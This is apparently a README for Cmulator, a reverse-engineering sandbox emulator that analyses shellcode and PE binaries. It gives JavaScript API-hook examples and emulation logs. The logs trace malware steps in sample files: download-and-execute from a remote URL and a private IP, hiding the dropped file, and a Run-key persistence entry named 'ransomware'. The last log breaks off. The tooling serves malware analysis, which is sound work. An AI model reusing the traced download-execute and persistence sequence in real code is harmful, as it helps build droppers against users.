coldzer0/cmulatorCmulator は、(x86 - x64) 対応のスクリプト可能なリバースエンジニアリングサンドボックスエミュレータで、シェルコードとPEバイナリを解析します。Unicorn & Zydis Engine & javascript をベースとしています。
V0.3 Beta
v0.2 beta
v0.1 beta
var GetModuleFileName = new ApiHook();
/*
DWORD WINAPI GetModuleFileName(
_In_opt_ HMODULE hModule,
_Out_ LPTSTR lpFilename,
_In_ DWORD nSize
);
*/
GetModuleFileName.OnCallBack = function (Emu, API, ret) {
Emu.pop(); // ret
var hModule = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop();
var lpFilename = Emu.isx64 ? Emu.ReadReg(REG_RDX) : Emu.pop();
var nSize = Emu.isx64 ? Emu.ReadReg(REG_R8D) : Emu.pop();
var mName = Emu.GetModuleName(hModule);
var Path = 'C:\\pla\\' + mName;
var len = API.IsWapi ? Emu.WriteStringW(lpFilename,Path) : Emu.WriteStringA(lpFilename,Path);
// null byte - mybe needed maybe not :D - i put it anyway :V
API.IsWapi ? Emu.WriteWord(lpFilename + (len * 2),0) : Emu.WriteByte(lpFilename+len,0);
print("{0}(0x{1}, 0x{2}, 0x{3}) = '{4}'".format(
API.name,
hModule.toString(16),
lpFilename.toString(16),
nSize.toString(16),
Path
));
// MS Docs : the return value is the length of the string
Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, len);
Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret);
return true; // true if you handle it false if you want Emu to handle it and set PC .
};
GetModuleFileName.install('kernel32.dll', 'GetModuleFileNameA');
GetModuleFileName.install('kernel32.dll', 'GetModuleFileNameW');
var _vsnprintf = new ApiHook();
/*
int _vsnprintf(
char *buffer,
size_t count,
const char *format,
va_list argptr
);
*/
_vsnprintf.OnCallBack = function (Emu, API, ret) {
// save the param to args
// args is an Array and it's implemented in every ApiHook .
_vsnprintf.args[0] = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.ReadDword(Emu.ReadReg(REG_ESP) + 4);
// i think implementing this in JS is hard
// so just let the library handle it :D
return true; // True so we continue to the lib code .
};
// OnExit Callback ..
_vsnprintf.OnExit = function(Emu,API){
// Read Our Saved Param .
var buffer = _vsnprintf.args[0];
warn("OnExit : _vsnprintf() = '{0}' ".format(
Emu.ReadStringA(buffer)
));
}
_vsnprintf.install('msvcrt.dll', '_vsnprintf');
Coldzer0 @ OSX $./Cmulator -f ../../samples/AntiDebugDownloader.exe -q
Cmulator Malware Analyzer - By Coldzer0
Compiled on : 2018/09/29 - 01:51:51
Target CPU : i386 & x86_x64
Unicorn Engine : v1.0
Cmulator : v0.1
"AntiDebugDownloader.exe" is : x32
Mapping the File ..
[+] Unicorn Init done .
[√] Set Hooks
[√] PE Mapped to Unicorn
[√] PE Written to Unicorn
[---------------- PE Info --------------]
[*] File Name : AntiDebugDownloader.exe
[*] Image Base : 0000000000400000
[*] Address Of Entry : 0000000000001000
[*] Size Of Headers : 0000000000000400
[*] Size Of Image : 0000000000004000
[---------------------------------------]
[---------------------------------------]
[ Fixing PE Imports ]
[*] File Name : AntiDebugDownloader.exe
[*] Import 3 Dlls
[+] Fix IAT for : kernel32.dll
[+] Fix IAT for : urlmon.dll
[+] Fix IAT for : advapi32.dll
[---------------------------------------]
[+] Segments & (TIB - PEB) Init Done .
[+] Loading JS Main Script : ../API.JS
Initiating 52 Libraries ...
[>] Run AntiDebugDownloader.exe
0x401005 : IsDebuggerPresent = 0
GetWindowsDirectoryA(403000, 260) = 10 - 'C:\Windows'
0x40103d : URLDownloadToFileA(0, 'https://www.dropbox.com/s/fr3z6axblxfcmq8/UrlDownLoadtoFile.exe?dl=0', 'C:\Windows', 0, 0)
0x401051 : RegCreateKeyA(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion\Run', 0x403159) = 144
0x40106f : RegSetValueExA(144, 'ransomware', 0, REG_SZ, 'C:\Windows', 260)
0x40107a : RegCloseKey()
ExitProcess(0x0)
26 Branches - Executed in 9 ms
Cmulator Stop >> last Error : OK (UC_ERR_OK)
Press Enter to Close ¯\_(ツ)_/¯
Coldzer0 @ OSX $./Cmulator -f ../../samples/Shellcodes/down_exec64.sc -sc -x64
Cmulator Malware Analyzer - By Coldzer0
Compiled on : 2018/09/29 - 03:07:11
Target CPU : i386 & x86_x64
Unicorn Engine : v1.0
Cmulator : v0.1
"sc64.exe" is : x64
Mapping the File ..
[+] Unicorn Init done .
[√] Set Hooks
[√] PE Mapped to Unicorn
[√] PE Written to Unicorn
[---------------- PE Info --------------]
[*] File Name : sc64.exe
[*] Image Base : 0000000000400000
[*] Address Of Entry : 0000000000001000
[*] Size Of Headers : 0000000000000400
[*] Size Of Image : 0000000000002000
[---------------------------------------]
[*] Writing Shellcode to memory ...
[√] Shellcode Written to Unicorn
[---------------------------------------]
[ Fixing PE Imports ]
[*] File Name : sc64.exe
[*] Import 0 Dlls
[---------------------------------------]
[+] Segments & (TIB - PEB) Init Done .
[+] Loading JS Main Script : ../API.JS
Initiating 25 Libraries ...
[>] Run sc64.exe
LoadLibraryA('urlmon') = 0x70714000
GetProcAddress(0x70714000,'URLDownloadToFileA') = 0x707ADB10
0x40111b : URLDownloadToFileA(0, 'http://192.168.10.129/pl.exe', 'C:\\Users\\Public\\p.exe', 0, 2489880)
SetFileAttributesA('C:\\Users\\Public\\p.exe',0x2)
WinExec('C:\\Users\\Public\\p.exe', 0)
FatalExit(0x0)
95 Steps - Executed in 295 ms
Cmulator Stop >> last Error : OK (UC_ERR_OK)
Press Enter to Close ¯\_(ツ)_/¯
Coldzer0 @ OSX $./Cmulator -f ../../samples/Shellcodes/URLDownloadToFile.sc -sc
Cmulator Malware Analyzer - By Coldzer0
Compiled on : 2018/09/29 - 03:07:11
Target CPU : i386 & x86_x64
Unicorn Engine : v1.0
Cmulator : v0.1
"sc32.exe" is : x32
Mapping the File ..
[+] Unicorn Init done .
[√] Set Hooks
[√] PE Mapped to Unicorn
[√] PE Written to Unicorn
[---------------- PE Info --------------]
[*] File Name : sc32.exe
[*] Image Base : 0000000000400000
[*] Address Of Entry : 0000000000001000
[*] Size Of Headers : 0000000000000400
[*] Size Of Image : 0000000000002000
[---------------------------------------]
[*] Writing Shellcode to memory ...
[√] Shellcode Written to Unicorn
[---------------------------------------]
[ Fixing PE Imports ]
[*] File Name : sc32.exe
[*] Import 0 Dlls
[---------------------------------------]
[+] Segments & (TIB - PEB) Init Done .
[+] Loading JS Main Script : ../API.JS
Initiating 25 Libraries ...
[>] Run sc32.exe